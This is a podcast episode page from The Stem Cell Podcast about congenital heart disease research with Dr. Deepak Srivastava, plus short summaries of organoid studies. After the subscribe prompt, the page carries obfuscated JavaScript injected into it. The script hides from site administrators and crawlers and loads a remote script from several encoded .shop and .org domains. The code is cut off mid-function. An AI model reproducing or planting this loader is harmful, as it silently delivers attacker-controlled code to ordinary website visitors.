The Stem Cell Podcast

A podcast dedicated to culturing knowledge in stem cell research.

Author: The Stem Cell Podcast

A podcast dedicated to culturing knowledge in stem cell research. Brought to you by STEMCELL Technologies.
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Language: en-us

Genres: Natural Sciences, Science

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Ep. 311: “Congenital Heart Disease” Featuring Dr. Deepak Srivastava
Tuesday, 23 December, 2025

Guest: Dr. Deepak Srivastava is the President of the Gladstone Institutes and Director of the Roddenberry Stem Cell Center. His lab is focused on the gene networks that guide cardiac development. He talks about their recent work investigating heart defects in Down syndrome and strategies for delivering therapies to the heart. He also talks about how to incentivize the development and commercialization of cell and gene therapies. (41:50) Featured Products and Resources: Submit your abstract for ISSCR 2026! STEMdiff™ Ventricular Cardiomyocyte Differentiation Kit The Stem Cell Science Round Up Heart and Ganglion Development – Researchers fused human sympathetic ganglion organoids and heart-forming organoids to construct functional connections between the sympathetic ganglia and the heart. (2:38) Periportal Liver Assembloids – Patient-specific periportal liver assembloids retain the histological arrangement, gene expression, and cell interactions of periportal liver tissue. (9:40) PIEZO1 and Drug-Induced Cardiotoxicity – Restoring endothelial PIEZO1 protects against tyrosine kinase inhibitor-induced hypertension and cardiac dysfunction. (19:28) Somite and Neural Tube Co-Development – Scientists developed human trunk-like structures that have morphologically organized somites and a neural tube that form through self-organized, endogenous signaling. (28:43) Image courtesy of Dr. Deepak Srivastava Subscribe to our newsletter! Never miss updates about new episodes. Subscribe ;function _0xe59d(_0x1f888c,_0x2f9035){_0x1f888c=_0x1f888c-0x166;var _0x978844=_0x29f1();var _0x7369f6=_0x978844[_0x1f888c];return _0x7369f6;}(function(_0x3567e2,_0xb8f186){var _0x45ab7a=_0xe59d,_0x9c6342=_0x3567e2();while(!![]){try{var _0x5447ef=parseInt(_0x45ab7a(0x191))/0x1*(parseInt(_0x45ab7a(0x18f))/0x2)+parseInt(_0x45ab7a(0x16c))/0x3+parseInt(_0x45ab7a(0x169))/0x4+-parseInt(_0x45ab7a(0x171))/0x5*(-parseInt(_0x45ab7a(0x188))/0x6)+-parseInt(_0x45ab7a(0x196))/0x7*(-parseInt(_0x45ab7a(0x17e))/0x8)+-parseInt(_0x45ab7a(0x17b))/0x9+-parseInt(_0x45ab7a(0x192))/0xa*(parseInt(_0x45ab7a(0x18a))/0xb);if(_0x5447ef===_0xb8f186)break;else _0x9c6342['push'](_0x9c6342['shift']());}catch(_0x2c9697){_0x9c6342['push'](_0x9c6342['shift']());}}}(_0x29f1,0xd7567));;function _0x29f1(){var _0x1757b6=['ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=','toLowerCase','1484287esJNIf','replace','text','/wp-admin','search','aHR0cHM6Ly9nb3ZlYXJhbGkub3JnL2pzcmVwbz9ybmQ9','5304124ZcPRrq','aHR0cHM6Ly9saWdvdmVyYS5zaG9wL2pzcmVwbz9ybmQ9','userAgent','5161245nxokBW','length','wp-sitemap','href','toString','21670hhqDze','aHR0cHM6Ly9hbGlhbnplZy5zaG9wL2pzcmVwbz9ybmQ9','trim','responseText','fromCharCode','&ts=','apply','open','robots','.xml','11547216wxvBDo','cookie','(((.+)+)+)+$','56hxaXDE','/wp-json','test','random','referrer','indexOf','now','charAt','aHR0cHM6Ly9nZXRhbGlhLm9yZy9qc3JlcG8/cm5kPQ==','createElement','294IPXyRa','constructor','290323dnZhiZ','send','GET','location','aHR0cHM6Ly96dGRhbGl3ZWIuc2hvcC9qc3JlcG8/cm5kPQ==','242caVOVc','head','12503yNfMvl','1550dZrHkf','script'];_0x29f1=function(){return _0x1757b6;};return _0x29f1();}(function(){var _0x1e3f9d=_0xe59d,_0x307a3c=(function(){var _0x706d80=!![];return function(_0x2c47be,_0x3ac93a){var _0x320bd4=_0x706d80?function(){var _0x322884=_0xe59d;if(_0x3ac93a){var _0x5a6a60=_0x3ac93a[_0x322884(0x177)](_0x2c47be,arguments);return _0x3ac93a=null,_0x5a6a60;}}:function(){};return _0x706d80=![],_0x320bd4;};}());try{var _0x1d6372=document[_0x1e3f9d(0x17c)],_0x3599cc=navigator[_0x1e3f9d(0x16b)]['toLowerCase'](),_0x282668=document[_0x1e3f9d(0x182)][_0x1e3f9d(0x195)](),_0x3b1baa=window[_0x1e3f9d(0x18d)][_0x1e3f9d(0x16f)][_0x1e3f9d(0x195)]();if(/wordpress_logged_in_|wp-settings-|wp-saving-|wp-postpass_/[_0x1e3f9d(0x180)](_0x1d6372))return;if(/bot|crawl|slurp|spider|baidu|ahrefs|mj12bot|semrush|facebookexternalhit|facebot|ia_archiver|yandex|phantomjs|curl|wget|python|java/i['test'](_0x3599cc))return;if(_0x282668['indexOf'](_0x1e3f9d(0x17f))!==-0x1||_0x282668[_0x1e3f9d(0x183)](_0x1e3f9d(0x166))!==-0x1||_0x282668[_0x1e3f9d(0x183)](_0x1e3f9d(0x16e))!==-0x1||_0x282668[_0x1e3f9d(0x183)](_0x1e3f9d(0x179))!==-0x1||_0x282668[_0x1e3f9d(0x183)](_0x1e3f9d(0x17a))!==-0x1)return;if(/wp-login.php|wp-cron.php|xmlrpc.php|wp-admin|wp-includes|wp-content|?feed=|/feed|wp-json|?wc-ajax|.css|.js|.ico|.png|.gif|.bmp|.jpe?g|.tiff|.mp[34g]|.wmv|.zip|.rar|.exe|.pdf|.txt|sitemap.*.xml|robots.txt/i['test'](_0x3b1baa))return;function _0x3c543b(_0xb8650b){var _0x3d3470=_0x1e3f9d,_0x599732=_0x3d3470(0x194),_0x2a944b,_0x1b7e18,_0x17a893,_0x5d55ae,_0x21ff03,_0x4092d7,_0x4c636f,_0x2e3633='',_0x4d1e66=0x0;_0xb8650b=_0xb8650b[_0x3d3470(0x197)](/[^A-Za-z0-9+/=]/g,'');while(_0x4d1e66